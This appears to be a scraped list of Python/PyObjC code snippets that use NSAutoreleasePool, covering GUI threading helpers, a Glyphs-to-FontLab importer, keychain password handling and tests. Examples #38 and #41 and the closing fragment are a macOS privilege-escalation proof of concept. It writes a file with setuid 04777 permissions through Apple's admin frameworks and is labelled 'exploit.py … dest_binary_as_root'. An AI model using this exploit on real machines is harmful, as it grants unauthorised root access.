Example #1
0
def get_country_code():
    try:
        if platform == 'linux':
            l = locale.getdefaultlocale()[0]
            if l is not None:
                return l.split(LOCALE_SPLITCHAR, 1)[1][:2].upper()
        elif platform == 'mac':
            from Foundation import NSAutoreleasePool, NSLocale, NSLocaleCountryCode
            pool = NSAutoreleasePool.alloc().init()
            try:
                return NSLocale.currentLocale().objectForKey_(NSLocaleCountryCode).upper()
            finally:
                del pool

        else:
            from dropbox.win32.version import WIN2K, WINDOWS_VERSION
            if WINDOWS_VERSION != WIN2K:
                GEO_ISO2 = 4
                nation = ctypes.windll.kernel32.GetUserGeoID(16)
                buf = ctypes.create_string_buffer(20)
                if ctypes.windll.kernel32.GetGeoInfoA(nation, GEO_ISO2, ctypes.byref(buf), ctypes.sizeof(buf), 0):
                    return buf.value.upper()
    except Exception:
        unhandled_exc_handler()

    return 'US'
Example #2
0
 def _doPostWithParams_(self, params):
     script, message = params
     pool = NSAutoreleasePool.alloc().init()
     try:
         script.post(message)
     except Exception, e:
         print "Failed to post to script:", e
Example #3
0
def callLater(delay, func, *args, **kwargs):
    """call a function on the main thread after a delay (async)"""
    pool = NSAutoreleasePool.alloc().init()
    obj = PyObjCAppHelperCaller.alloc().initWithArgs_((func, args, kwargs))
    obj.callLater_(delay)
    del obj
    del pool
Example #4
0
def readGlyphsFile(filePath):
    print "Import Glyphs File"
    pool = NSAutoreleasePool.alloc().init()
    GlyphsDoc = NSDictionary.alloc().initWithContentsOfFile_(filePath)

    loadGlyphsInfo()
    from FL import fl, Font
    folder, base = os.path.split(filePath)
    base = base.replace(".glyphs", ".vfb")
    dest = os.path.join(folder, base)
    f = Font()
    fl.Add(f)
    global convertName
    try:
        convertName = GlyphsDoc["disablesNiceNames"] != None
    except:
        pass
    if not setFontInfo(f, GlyphsDoc):
        return False
    readGlyphs(f, GlyphsDoc)
    readKerning(f, GlyphsDoc)
    setLegacyNames(f)
    readFeatures(f, GlyphsDoc)

    fl.UpdateFont()
    f.modified = 0
    pool.drain()
Example #5
0
 def hideAndClear():
     # Will be run from worker thread, create own NSAutoreleasePool
     pool = NSAutoreleasePool.alloc().init()
     self.password.SetValue("")
     self.status.SetLabel("")
     self.Hide()
     del pool
Example #6
0
def callLater(delay, func, *args, **kwargs):
    """call a function on the main thread after a delay (async)"""
    pool = NSAutoreleasePool.alloc().init()
    obj = PyObjCAppHelperCaller.alloc().initWithArgs_((func, args, kwargs))
    obj.callLater_(delay)
    del obj
    del pool
Example #7
0
 def wrapper(*args, **kw):
     thread = threading.current_thread()
     try:
         thread.ns_autorelease_pool
     except AttributeError:
         thread.ns_autorelease_pool = NSAutoreleasePool.alloc().init()
         thread.ns_autorelease_pool_refcount = 1
     else:
         thread.ns_autorelease_pool_refcount += 1
     try:
         func(*args, **kw)
     finally:
         thread.ns_autorelease_pool_refcount -= 1
         if thread.ns_autorelease_pool_refcount == 0:
             NSAutoreleasePool.showPools()
             del thread.ns_autorelease_pool, thread.ns_autorelease_pool_refcount
def readGlyphsFile(filePath):
	print "Import Glyphs File"
	pool = NSAutoreleasePool.alloc().init()
	GlyphsDoc = NSDictionary.alloc().initWithContentsOfFile_(filePath)
	if GlyphsDoc is None:
		print "Could not load .glyphs file."
		pool.drain()
		return
	loadGlyphsInfo()
	from FL import fl, Font
	folder, base = os.path.split(filePath)
	base = base.replace(".glyphs", ".vfb")
	dest = os.path.join(folder, base)
	f = Font(  )
	fl.Add(f)
	global convertName
	try:
		convertName = GlyphsDoc["disablesNiceNames"] != None
	except:
		pass
	if not setFontInfo(f, GlyphsDoc):
		return False
	readGlyphs(f, GlyphsDoc)
	readKerning(f, GlyphsDoc)
	setLegacyNames(f)
	readFeatures(f, GlyphsDoc)
	
	fl.UpdateFont()
	f.modified = 0
	pool.drain()
Example #9
0
 def get_modified(self, obj):
     with self.lock:
         try:
             if self.dirty.get(obj, False):
                 pool = NSAutoreleasePool.alloc().init()
                 old_password = self.oldvalues.get(obj, self.default)
                 new_password = self.values.get(obj, self.default)
                 account = (account for account, group in chain(*(attr.values.iteritems() for attr in Account.__dict__.itervalues() if isinstance(attr, SettingsGroupMeta))) if group is obj).next()
                 if self.label is None:
                     label = '%s (%s)' % (NSApp.delegate().applicationName, account.id)
                 else:
                     label = '%s %s (%s)' % (NSApp.delegate().applicationName, self.label, account.id)
                 k = EMGenericKeychainItem.genericKeychainItemForService_withUsername_(label, account.id)
                 if k is None and new_password:
                     EMGenericKeychainItem.addGenericKeychainItemForService_withUsername_password_(label, account.id, new_password)
                 elif k is not None:
                     if new_password:
                         k.setPassword_(new_password)
                     else:
                         k.removeFromKeychain()
                 return ModifiedValue(old=old_password, new=new_password)
             else:
                 return None
         finally:
             try:
                 self.oldvalues[obj] = self.values[obj]
             except KeyError:
                 self.oldvalues.pop(obj, None)
             self.dirty[obj] = False
Example #10
0
 def _doPostWithParams_(self, params):
     script, message = params
     pool = NSAutoreleasePool.alloc().init()
     try:
         script.post_message(message)
     except Exception, e:
         print "Failed to post to script:", e
Example #11
0
 def hideAndClear():
     # Will be run from worker thread, create own NSAutoreleasePool
     pool = NSAutoreleasePool.alloc().init()
     self.password.SetValue("")
     self.status.SetLabel("")
     self.Hide()
     del pool
Example #12
0
    def _resetAutoreleasePool(cls):
        """
        Create an autorelease pool, deleting the old one if we had one.
        """
        cls._deletePool()

        cls._autoReleasePool = NSAutoreleasePool.alloc().init()
        cls._poolCreationTime = time()
Example #13
0
def callAfter(func, *args, **kwargs):
    """call a function on the main thread (async)"""
    pool = NSAutoreleasePool.alloc().init()
    obj = PyObjCAppHelperCaller_wrap.alloc().initWithArgs_(
        (func, args, kwargs))
    obj.callAfter_(None)
    del obj
    del pool
Example #14
0
def call_in_gui_thread(func, *args, **kwargs):
    if NSThread.isMainThread():
        func(*args, **kwargs)
    else:
        pool = NSAutoreleasePool.alloc().init()
        NSApp.delegate().performSelectorOnMainThread_withObject_waitUntilDone_(
            "callObject:", lambda: func(*args, **kwargs), False)
        del pool
def callAfter(func, *args, **kwargs):
    """
    Call a function on the Main thread (async).
    """
    pool = NSAutoreleasePool.alloc().init()
    runner = PyObjCMessageRunner.alloc().initWithPayload_((func, args, kwargs))
    runner.callAfter()
    del runner
    del pool
Example #16
0
def callLater(delay, func, *args, **kwargs):
    """
    Call a function on the Main thread after a delay (async).
    """
    pool = NSAutoreleasePool.alloc().init()
    runner = PyObjCMessageRunner.alloc().initWithPayload_((func, args, kwargs))
    runner.callLater_(delay)
    del runner
    del pool
Example #17
0
def restart():
    report_bad_assumption('Trying to restart finder.')
    if has_progress_windows():
        raise FinderBusyError()
    pool = NSAutoreleasePool.alloc().init()
    try:
        return FinderRestarterHelper.alloc().initAndRestartFinder()
    finally:
        del pool
Example #18
0
 def hideAndClear():
     # Will be run from worker thread, create own NSAutoreleasePool
     if sys.platform == "darwin":
         pool = NSAutoreleasePool.alloc().init()
     self.password.SetValue("")
     self.status.SetLabel("")
     self.Hide()
     if sys.platform == "darwin":
         del pool
    def testBasic(self):
        # This is mostly a regression tests, the function used to crash on
        # this...
        if objc.platform != 'MACOSX':
            return

        pool = NSAutoreleasePool.alloc().init()
        s = NSLocalizedString(b"hello world".decode('ascii'), b"".decode('ascii'))
        del pool
        self.assertEqual (s, b"hello world".decode('ascii'))
Example #20
0
 def wrapped_execute(self, msg, lines):
     """wrapped_execute"""
     try:
         p = NSAutoreleasePool.alloc().init()
         result = super(AutoreleasePoolWrappedThreadedEngineService,
                         self).wrapped_execute(msg, lines)
     finally:
         p.drain()
     
     return result
Example #21
0
    def wrapped_execute(self, msg, lines):
        """wrapped_execute"""
        try:
            p = NSAutoreleasePool.alloc().init()
            result = super(AutoreleasePoolWrappedThreadedEngineService,
                           self).wrapped_execute(msg, lines)
        finally:
            p.drain()

        return result
Example #22
0
    def testBasic(self):
        # This is mostly a regression tests, the function used to crash on
        # this...
        if objc.platform != 'MACOSX':
            return

        pool = NSAutoreleasePool.alloc().init()
        s = NSLocalizedString(b"hello world".decode('ascii'),
                              b"".decode('ascii'))
        del pool
        self.assertEqual(s, b"hello world".decode('ascii'))
def readGlyphsFile(filePath):
    print "Import Glyphs File"
    pool = None
    try:
        from Foundation import NSAutoreleasePool, NSDictionary
    except ImportError:
        # on Windows, PyObjC is not available
        with open(filePath, "rb") as f:
            data = f.read()
        if data.startswith("<?xml"):
            # use the built-in plistlib module for XML plist
            from plistlib import readPlistFromString

            GlyphsDoc = readPlistFromString(data)
        else:
            # use glyphsLib's Parser for ASCII plist.
            # Download it from: https://github.com/googlei18n/glyphsLib
            from glyphsLib.parser import Parser

            GlyphsDoc = Parser(dict_type=dict).parse(data)
    else:
        # on OS X, use NSDictionary
        pool = NSAutoreleasePool.alloc().init()
        GlyphsDoc = NSDictionary.alloc().initWithContentsOfFile_(filePath)

    if not GlyphsDoc:
        print "Could not load .glyphs file."
        if pool:
            pool.drain()
        return

    from FL import fl, Font

    folder, base = os.path.split(filePath)
    base = base.replace(".glyphs", ".vfb")
    dest = os.path.join(folder, base)
    f = Font()
    fl.Add(f)
    global convertName
    try:
        convertName = GlyphsDoc["disablesNiceNames"] != None
    except:
        pass
    if not setFontInfo(f, GlyphsDoc):
        return False
    readGlyphs(f, GlyphsDoc)
    readKerning(f, GlyphsDoc)
    setLegacyNames(f)
    readFeatures(f, GlyphsDoc)

    fl.UpdateFont()
    f.modified = 0
    if pool:
        pool.drain()
Example #24
0
def main_thread(func, *args, **kwargs):
    """ Schedue `func` to be called on the main thread. """

    pool = NSAutoreleasePool.new()

    obj = MainThreadHelper.new()
    obj.func = lambda: func(*args, **kwargs)

    selector = objc.selector(obj.onMainThread, signature='v@:')
    later = obj.performSelectorOnMainThread_withObject_waitUntilDone_
    later(selector, None, False)
Example #25
0
    def testBasic(self):
        # This is mostly a regression tests, the function used to crash on
        # this...
        if objc.platform != "MACOSX":
            return

        pool = NSAutoreleasePool.alloc().init()
        s = NSLocalizedString(b"hello world".decode("ascii"),
                              b"".decode("ascii"))
        del pool
        self.assertEqual(s, b"hello world".decode("ascii"))
        # XXX : Since we get the same object back, it's still unicode
        # self.assertEqual (s.nsstring().description(), b"hello world".decode('ascii'))

        pool = NSAutoreleasePool.alloc().init()
        s = NSLocalizedStringFromTable(b"hello world".decode("ascii"),
                                       b"tab".decode("utf-8"),
                                       b"".decode("ascii"))
        del pool
        self.assertEqual(s, b"hello world".decode("ascii"))

        pool = NSAutoreleasePool.alloc().init()
        s = NSLocalizedStringFromTableInBundle(
            b"hello world".decode("ascii"),
            b"tab".decode("utf-8"),
            NSBundle.mainBundle(),
            b"".decode("ascii"),
        )
        del pool
        self.assertEqual(s, b"hello world".decode("ascii"))

        pool = NSAutoreleasePool.alloc().init()
        s = NSLocalizedStringWithDefaultValue(
            b"hello world".decode("ascii"),
            b"tab".decode("utf-8"),
            NSBundle.mainBundle(),
            b"default".decode("utf-8"),
            b"".decode("ascii"),
        )
        del pool
        self.assertEqual(s, b"default".decode("ascii"))
Example #26
0
    def run(self):
        # start streaming acquisition
        try:
            from Foundation import NSAutoreleasePool
            pool = NSAutoreleasePool.alloc().init()
        except ImportError:
            pass  # Windows

        # acquisition loop
        while self.monitor.running:
            #print "Stream thread tryin to enqueue", time.clock()
            self.serial_queue.enqueue(self.acquire_stream)
Example #27
0
 def _doDetachWithParams_(self, params):
     session, script = params
     pool = NSAutoreleasePool.alloc().init()
     try:
         script.unload()
     except:
         pass
     try:
         session.detach()
     except:
         pass
     del pool
Example #28
0
 def _doDetachWithParams_(self, params):
     session, script = params
     pool = NSAutoreleasePool.alloc().init()
     try:
         script.unload()
     except:
         pass
     try:
         session.detach()
     except:
         pass
     del pool
Example #29
0
        def open(self, url, new = 0, autoraise = True):
            pool = NSAutoreleasePool.alloc().init()
            try:
                fake_url = NSURL.URLWithString_('http:')
                os_status, app_ref, appurl = LSGetApplicationForURL(fake_url, kLSRolesAll, None, None)
                if os_status != 0:
                    raise Exception('No browser default?')
                self._name = app_ref.as_pathname().encode('utf-8')
            finally:
                del pool

            return super(DefaultMacBrowser, self).open(url, new, autoraise)
Example #30
0
    def run(self):
        # start streaming acquisition
        try:
            from Foundation import NSAutoreleasePool
            pool = NSAutoreleasePool.alloc().init()
        except ImportError:
            pass # Windows

        # acquisition loop
        while self.monitor.running:
            #print "Stream thread tryin to enqueue", time.clock()
            self.serial_queue.enqueue(self.acquire_stream)
Example #31
0
def looponce():
    app = NSApplication.sharedApplication()
    # It is very likely that this code will run in a separate python thread.
    # An autoreleasepool won't be created automatically for us, so do so "manually" to avoid leaking.
    # http://www.opensource.apple.com/source/pyobjc/pyobjc-14/pyobjc/stable/pyobjc-core/Doc/api-notes-macosx.txt
    pool = NSAutoreleasePool.alloc().init()
    # to push the run loops I seem to have to do this twice
    # use NSEventTrackingRunLoopMode or NSDefaultRunLoopMode?
    for i in range(2):
        event = app.nextEventMatchingMask_untilDate_inMode_dequeue_(
            NSAnyEventMask, NSDate.dateWithTimeIntervalSinceNow_(0.02),
            NSDefaultRunLoopMode, False)
    del pool
Example #32
0
def set_user_interface_language(code):
    if platform == 'mac':
        from Foundation import NSAutoreleasePool, NSString, NSUserDefaults
        arp = NSAutoreleasePool.alloc().init()
        s = NSString.alloc().initWithString_(APPLE_LANGUAGES)
        defaults = NSUserDefaults.standardUserDefaults()
        if code == '':
            TRACE('Setting language defaults to system language.')
            defaults.removeObjectForKey_(s)
        else:
            TRACE('Updating language defaults to %r.', code)
            defaults.setObject_forKey_([code], s)
        defaults.synchronize()
Example #33
0
    def __normalize_path_batch(self, paths):
        pool = NSAutoreleasePool.alloc().init()
        try:
            results = []
            for path in paths:
                assert isinstance(path, unicode)
                s = NSString.alloc().initWithString_(path).autorelease()
                ret = s.fileSystemRepresentation()
                results.append(ret.decode('UTF-8'))

            return results
        finally:
            del pool
Example #34
0
def looponce():
    app = NSApplication.sharedApplication()
    # It is very likely that this code will run in a separate python thread.
    # An autoreleasepool won't be created automatically for us, so do so "manually" to avoid leaking.
    # http://www.opensource.apple.com/source/pyobjc/pyobjc-14/pyobjc/stable/pyobjc-core/Doc/api-notes-macosx.txt
    pool = NSAutoreleasePool.alloc().init()
    # to push the run loops I seem to have to do this twice
    # use NSEventTrackingRunLoopMode or NSDefaultRunLoopMode?
    for i in range(2):
        event = app.nextEventMatchingMask_untilDate_inMode_dequeue_(
            NSAnyEventMask, NSDate.dateWithTimeIntervalSinceNow_(0.02),
            NSDefaultRunLoopMode, False)
    del pool
def readGlyphsFile(filePath):
	print "Import Glyphs File"
	pool = None
	try:
		from Foundation import NSAutoreleasePool, NSDictionary
	except ImportError:
		# on Windows, PyObjC is not available
		with open(filePath, 'rb') as f:
			data = f.read()
		if data.startswith("<?xml"):
			# use the built-in plistlib module for XML plist
			from plistlib import readPlistFromString
			GlyphsDoc = readPlistFromString(data)
		else:
			# use glyphsLib's Parser for ASCII plist.
			# Download it from: https://github.com/googlei18n/glyphsLib
			from glyphsLib.parser import Parser
			GlyphsDoc = Parser(dict_type=dict).parse(data)
	else:
		# on OS X, use NSDictionary
		pool = NSAutoreleasePool.alloc().init()
		GlyphsDoc = NSDictionary.alloc().initWithContentsOfFile_(filePath)

	if not GlyphsDoc:
		print "Could not load .glyphs file."
		if pool:
			pool.drain()
		return

	from FL import fl, Font
	folder, base = os.path.split(filePath)
	base = base.replace(".glyphs", ".vfb")
	dest = os.path.join(folder, base)
	f = Font(  )
	fl.Add(f)
	global convertName
	try:
		convertName = GlyphsDoc["disablesNiceNames"] != None
	except:
		pass
	if not setFontInfo(f, GlyphsDoc):
		return False
	readGlyphs(f, GlyphsDoc)
	readKerning(f, GlyphsDoc)
	setLegacyNames(f)
	readFeatures(f, GlyphsDoc)
	
	fl.UpdateFont()
	f.modified = 0
	if pool:
		pool.drain()
Example #36
0
 def runModal(self, title, message, help_link, text = ''):
     pool = NSAutoreleasePool.alloc().init()
     try:
         app = NSApplication.sharedApplication()
         if app.isRunning():
             death_event = Event()
             app_delegate = BootErrorAppDelegate(title, message, help_link, text, death_event)
             AppHelper.callAfter(app_delegate.applicationWillFinishLaunching_, None)
             death_event.wait()
         else:
             AppHelper.installMachInterrupt()
             app_delegate = BootErrorAppDelegate(title, message, help_link, text, None)
             app.setDelegate_(app_delegate)
             AppHelper.runEventLoop()
     finally:
         del pool
Example #37
0
def _mac_get_system_languages():
    assert platform == 'mac'
    from Foundation import NSAutoreleasePool, NSString, NSUserDefaults
    arp = NSAutoreleasePool.alloc().init()
    s = NSString.alloc().initWithString_(APPLE_LANGUAGES)
    try:
        from pymac.helpers.core import get_preference
        langs = list(get_preference('com.apple.systempreferences', APPLE_LANGUAGES))
        TRACE('_mac_get_system_languages real: %r', langs)
        return langs
    except Exception:
        unhandled_exc_handler()

    langs = NSUserDefaults.standardUserDefaults().get(s)
    TRACE('_mac_get_system_languages from user: %r', langs)
    return langs
Example #38
0
    def verify(cls, args):
        source_binary = args['options']['target']
        dest_binary = os.path.realpath(args['options']['dest_binary'])

        if not os.path.exists(source_binary):
            raise Exception("file does not exist!")

        pool = NSAutoreleasePool.alloc().init()

        attr = NSMutableDictionary.alloc().init()
        attr.setValue_forKey_(04777, NSFilePosixPermissions)
        data = NSData.alloc().initWithContentsOfFile_(source_binary)

        print "[*] will write file", dest_binary

        if cls.use_old_api():
            adm_lib = cls.load_lib("/Admin.framework/Admin")
            Authenticator = objc.lookUpClass("Authenticator")
            ToolLiaison = objc.lookUpClass("ToolLiaison")
            SFAuthorization = objc.lookUpClass("SFAuthorization")

            authent = Authenticator.sharedAuthenticator()
            authref = SFAuthorization.authorization()

            # authref with value nil is not accepted on OS X <= 10.8
            authent.authenticateUsingAuthorizationSync_(authref)
            st = ToolLiaison.sharedToolLiaison()
            tool = st.tool()
            tool.createFileWithContents_path_attributes_(
                data, dest_binary, attr)
        else:
            adm_lib = cls.load_lib(
                "/SystemAdministration.framework/SystemAdministration")
            WriteConfigClient = objc.lookUpClass("WriteConfigClient")
            client = WriteConfigClient.sharedClient()
            client.authenticateUsingAuthorizationSync_(None)
            tool = client.remoteProxy()

            tool.createFileWithContents_path_attributes_(
                data, dest_binary, attr, 0)

        print "[+] Done!"
        del pool
        args['success'] = True
        args['poc_ret']['dest_binary'] = dest_binary
        return args
Example #39
0
        def run(self):
            try:
                from Foundation import NSAutoreleasePool
                pool = NSAutoreleasePool.alloc().init()
            except ImportError:
                pass # Windows

            while self.monitor.running or not self.output_queue.empty():
                """print "Serializer running: ", time.clock()
                print "max size: ", self.output_queue.maxsize
                print "items: ", self.output_queue.qsize()
                print "Getting item from queue: ", time.clock()"""

                (output_fn, args, kwargs) = self.output_queue.get(block=True, timeout=0.5) # block 0.5 seconds
                #print "Got item in queue: ", time.clock()
                #print "queue function starting: ", time.clock()
                output_fn(*args, **kwargs)
Example #40
0
 def __setstate__(self, obj, value):
     with self.lock:
         if value is None and not self.nillable:
             raise ValueError("setting attribute is not nillable")
         if value is not None:
             if value == u'keychain':
                 pool = NSAutoreleasePool.alloc().init()
                 account = (account for account, group in chain(*(attr.values.iteritems() for attr in Account.__dict__.itervalues() if isinstance(attr, SettingsGroupMeta))) if group is obj).next()
                 if self.label is None:
                     label = '%s (%s)' % (NSApp.delegate().applicationName, account.id)
                 else:
                     label = '%s %s (%s)' % (NSApp.delegate().applicationName, self.label, account.id)
                 k = EMGenericKeychainItem.genericKeychainItemForService_withUsername_(label, account.id)
                 value = unicode(k.password()) if k is not None else u''
             value = self.type(value)
         self.oldvalues[obj] = self.values[obj] = value
         self.dirty[obj] = False
Example #41
0
    def verify(cls, args):
        source_binary = args['options']['target']
        dest_binary = os.path.realpath(args['options']['dest_binary'])

        if not os.path.exists(source_binary):
            raise Exception("file does not exist!")

        pool = NSAutoreleasePool.alloc().init()

        attr = NSMutableDictionary.alloc().init()
        attr.setValue_forKey_(04777, NSFilePosixPermissions)
        data = NSData.alloc().initWithContentsOfFile_(source_binary)

        print "[*] will write file", dest_binary

        if cls.use_old_api():
            adm_lib = cls.load_lib("/Admin.framework/Admin")
            Authenticator = objc.lookUpClass("Authenticator")
            ToolLiaison = objc.lookUpClass("ToolLiaison")
            SFAuthorization = objc.lookUpClass("SFAuthorization")

            authent = Authenticator.sharedAuthenticator()
            authref = SFAuthorization.authorization()

            # authref with value nil is not accepted on OS X <= 10.8
            authent.authenticateUsingAuthorizationSync_(authref)
            st = ToolLiaison.sharedToolLiaison()
            tool = st.tool()
            tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
        else:
            adm_lib = cls.load_lib("/SystemAdministration.framework/SystemAdministration")
            WriteConfigClient = objc.lookUpClass("WriteConfigClient")
            client = WriteConfigClient.sharedClient()
            client.authenticateUsingAuthorizationSync_(None)
            tool = client.remoteProxy()

            tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)

        print "[+] Done!"
        del pool
        args['success'] = True
        args['poc_ret']['dest_binary'] = dest_binary
        return args
Example #42
0
def mac_notifications():
    parser = OptionParser(usage='%prog -t TITLE -m MESSAGE')
    parser.add_option('-t', '--title', action='store', default='Link Copied')
    parser.add_option('-m', '--message', action='store', default="""A Link has been Successfully Copied to Your Clipboard. Kindly Paste and Save it.""")
    parser.add_option('--no-sound', action='store_false', default=True, dest='sound')

    options, args = parser.parse_args()
                      
    pool = NSAutoreleasePool.alloc().init()
    notification = NSUserNotification.alloc().init()
    notification.setTitle_(options.title)
    notification.setInformativeText_(options.message)
    if options.sound:
        notification.setSoundName_(NSUserNotificationDefaultSoundName)
                      
    center = NSUserNotificationCenter.defaultUserNotificationCenter()
    center.deliverNotification_(notification)
                      
    del notification
    del pool
Example #43
0
 def _doAttachWithParams_(self, params):
     pid, triggerPort = params
     pool = NSAutoreleasePool.alloc().init()
     session = None
     script = None
     error = None
     try:
         session = self.device.attach(pid)
         session.on('detached', self._onSessionDetached)
         script = session.session.create_script(
             SCRIPT_TEMPLATE % {'trigger_port': triggerPort})
         script.on('message', self._onScriptMessage)
         script.load()
     except Exception, e:
         if session is not None:
             try:
                 session.detach()
             except:
                 pass
             session = None
         script = None
         error = e
Example #44
0
 def _doAttachWithParams_(self, params):
     pid, triggerPort = params
     pool = NSAutoreleasePool.alloc().init()
     session = None
     script = None
     error = None
     try:
         session = self.device.attach(pid)
         session.on('detached', self._onSessionDetached)
         script = session._session.create_script(SCRIPT_TEMPLATE % {
             'trigger_port': triggerPort
         })
         script.on('message', self._onScriptMessage)
         script.load()
     except Exception, e:
         if session is not None:
             try:
                 session.detach()
             except:
                 pass
             session = None
         script = None
         error = e
Example #45
0
 def get_modified(self, obj):
     with self.lock:
         try:
             if self.dirty.get(obj, False):
                 pool = NSAutoreleasePool.alloc().init()
                 old_password = self.oldvalues.get(obj, self.default)
                 new_password = self.values.get(obj, self.default)
                 account = (account for account, group in chain(
                     *(attr.values.iteritems()
                       for attr in Account.__dict__.itervalues()
                       if isinstance(attr, SettingsGroupMeta)))
                            if group is obj).next()
                 if self.label is None:
                     label = '%s (%s)' % (NSApp.delegate().applicationName,
                                          account.id)
                 else:
                     label = '%s %s (%s)' % (NSApp.delegate(
                     ).applicationName, self.label, account.id)
                 k = EMGenericKeychainItem.genericKeychainItemForService_withUsername_(
                     label, account.id)
                 if k is None and new_password:
                     EMGenericKeychainItem.addGenericKeychainItemForService_withUsername_password_(
                         label, account.id, new_password)
                 elif k is not None:
                     if new_password:
                         k.setPassword_(new_password)
                     else:
                         k.removeFromKeychain()
                 return ModifiedValue(old=old_password, new=new_password)
             else:
                 return None
         finally:
             try:
                 self.oldvalues[obj] = self.values[obj]
             except KeyError:
                 self.oldvalues.pop(obj, None)
             self.dirty[obj] = False
Example #46
0
 def __setstate__(self, obj, value):
     with self.lock:
         if value is None and not self.nillable:
             raise ValueError("setting attribute is not nillable")
         if value is not None:
             if value == u'keychain':
                 pool = NSAutoreleasePool.alloc().init()
                 account = (account for account, group in chain(
                     *(attr.values.iteritems()
                       for attr in Account.__dict__.itervalues()
                       if isinstance(attr, SettingsGroupMeta)))
                            if group is obj).next()
                 if self.label is None:
                     label = '%s (%s)' % (NSApp.delegate().applicationName,
                                          account.id)
                 else:
                     label = '%s %s (%s)' % (NSApp.delegate(
                     ).applicationName, self.label, account.id)
                 k = EMGenericKeychainItem.genericKeychainItemForService_withUsername_(
                     label, account.id)
                 value = unicode(k.password()) if k is not None else u''
             value = self.type(value)
         self.oldvalues[obj] = self.values[obj] = value
         self.dirty[obj] = False
Example #47
0
    def workaround():
        from Foundation import NSMutableData, NSAutoreleasePool

        pool = NSAutoreleasePool.alloc().init()
        try:
            rI = SKIndexCreateWithMutableData(NSMutableData.data(), None,
                                              kSKIndexInverted, None)

            indexID = CFGetTypeID(rI)

            r = SKIndexDocumentIteratorCreate(rI, None)
            iterID = CFGetTypeID(r)
            del r

            r = SKSearchGroupCreate([rI])
            groupID = CFGetTypeID(r)

            r = SKSearchResultsCreateWithQuery(r, ".*", kSKSearchRanked, 1,
                                               None, None)
            resultID = CFGetTypeID(r)

            if SKSearchGetTypeID() == 0:
                # Type doesn't get registered unless you try to use it.
                # That's no good for PyObjC, therefore forcefully create
                # a SKSearch object
                SKSearchCreate(rI, "q", 0)
                searchref = objc.registerCFSignature("SKSearchRef",
                                                     b"^{__SKSearch=}",
                                                     SKSearchGetTypeID())
            else:
                searchref = SKSearchRef

            del r
            del rI

            r = SKSummaryCreateWithString("foo")
            summaryID = CFGetTypeID(r)
            del r

        finally:
            del pool

        def SKIndexGetTypeID():
            return indexID

        def SKIndexDocumentIteratorGetTypeID():
            return iterID

        def SKSearchGroupGetTypeID():
            return groupID

        def SKSearchResultsGetTypeID():
            return resultID

        def SKSummaryGetTypeID():
            return summaryID

        indexType = objc.registerCFSignature("SKIndexRef", b"^{__SKIndex=}",
                                             indexID)
        iterType = objc.registerCFSignature("SKIndexDocumentIteratorRef",
                                            b"^{__SKIndexDocumentIterator=}",
                                            iterID)
        groupType = objc.registerCFSignature("SKSearchGroupRef",
                                             b"^{__SKSearchGroup=}", groupID)
        resultType = objc.registerCFSignature("SKSearchResultsRef",
                                              b"^{__SKSearchResults=}",
                                              resultID)
        summaryType = objc.registerCFSignature("SKSummaryRef",
                                               b"^{__SKSummary=}", summaryID)

        # For some reason SKDocumentGetTypeID doesn't return the right value
        # when the framework loader calls it the first time around,
        # by this time the framework is fully initialized and we get
        # the correct result.
        SKDocumentRef = objc.registerCFSignature("SKDocumentRef", b"@",
                                                 SKDocumentGetTypeID())

        return (SKIndexGetTypeID, indexType, SKIndexDocumentIteratorGetTypeID,
                iterType, SKSearchGroupGetTypeID, groupType,
                SKSearchResultsGetTypeID, resultType, SKSummaryGetTypeID,
                summaryType, iterType, SKDocumentRef, searchref)
Example #48
0
 def wrapped(*args, **kwds):
     pool = NSAutoreleasePool.alloc().init()
     try:
         return f(*args, **kwds)
     finally:
         del pool
Example #49
0
    def workaround():
        from Foundation import NSMutableData, NSAutoreleasePool

        pool = NSAutoreleasePool.alloc().init()
        try:
            rI = SKIndexCreateWithMutableData(NSMutableData.data(),
                    None, kSKIndexInverted, None)

            indexID = CFGetTypeID(rI)

            r = SKIndexDocumentIteratorCreate(rI, None)
            iterID = CFGetTypeID(r)
            del r

            r = SKSearchGroupCreate([rI])
            groupID = CFGetTypeID(r)

            r = SKSearchResultsCreateWithQuery(r, ".*", kSKSearchRanked, 1, None, None)
            resultID = CFGetTypeID(r)

            if SKSearchGetTypeID() == 0:
                # Type doesn't get registered unless you try to use it.
                # That's no good for PyObjC, therefore forcefully create
                # a SKSearch object
                SKSearchCreate(rI, "q", 0)
                searchref = objc.registerCFSignature(
                        "SKSearchRef", "^{__SKSearch=}", SKSearchGetTypeID())
            else:
                searchref = SKSearchRef

            del r
            del rI

            r = SKSummaryCreateWithString("foo")
            summaryID = CFGetTypeID(r)
            del r

        finally:
            del pool

        def SKIndexGetTypeID():
            return indexID

        def SKIndexDocumentIteratorGetTypeID():
            return iterID

        def SKSearchGroupGetTypeID():
            return groupID

        def SKSearchResultsGetTypeID():
            return resultID

        def SKSummaryGetTypeID():
            return summaryID

        indexType = objc.registerCFSignature(
                "SKIndexRef", "^{__SKIndex=}", indexID)
        iterType = objc.registerCFSignature(
                "SKIndexDocumentIteratorRef", "^{__SKIndexDocumentIterator=}", indexID)
        groupType = objc.registerCFSignature(
                "SKSearchGroupRef", "^{__SKSearchGroup=}", groupID)
        resultType = objc.registerCFSignature(
                "SKSearchResultsRef", "^{__SKSearchResults=}", resultID)
        summaryType = objc.registerCFSignature(
                "SKSummaryRef", "^{__SKSummary=}", summaryID)

        # For some reason SKDocumentGetTypeID doesn't return the right value
        # when the framework loader calls it the first time around,
        # by this time the framework is fully initialized and we get
        # the correct result.
        SKDocumentRef = objc.registerCFSignature(
                "SKDocumentRef", "@", SKDocumentGetTypeID())


        return (SKIndexGetTypeID, indexType, SKIndexDocumentIteratorGetTypeID, iterType, 
                SKSearchGroupGetTypeID, groupType, SKSearchResultsGetTypeID, resultType,
                SKSummaryGetTypeID, summaryType,
                SKDocumentRef, searchref)
Example #50
0
 def _check(self):
     if osx:
         pool = NSAutoreleasePool.alloc().init()
     self.get()
     if self.version > self.currentversion:
         self.threadwrap(self.newversionfunc, self.version, download_url)
Example #51
0
 def after():
     pool = NSAutoreleasePool.alloc().init()
     self.status.SetLabel("")
     self.status.SetForegroundColour((0, 0, 0))
     del pool
Example #52
0
 def run(self):
     pool = NSAutoreleasePool.alloc().init()  # noqa: F841
     aList.append("before")
     NSLog(b"does this print?".decode("ascii"))
     aList.append("after")
Example #53
0
    return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])


args = sys.argv

if len(args) != 3:
    print "usage: exploit.py source_binary dest_binary_as_root"
    sys.exit(-1)

source_binary = args[1]
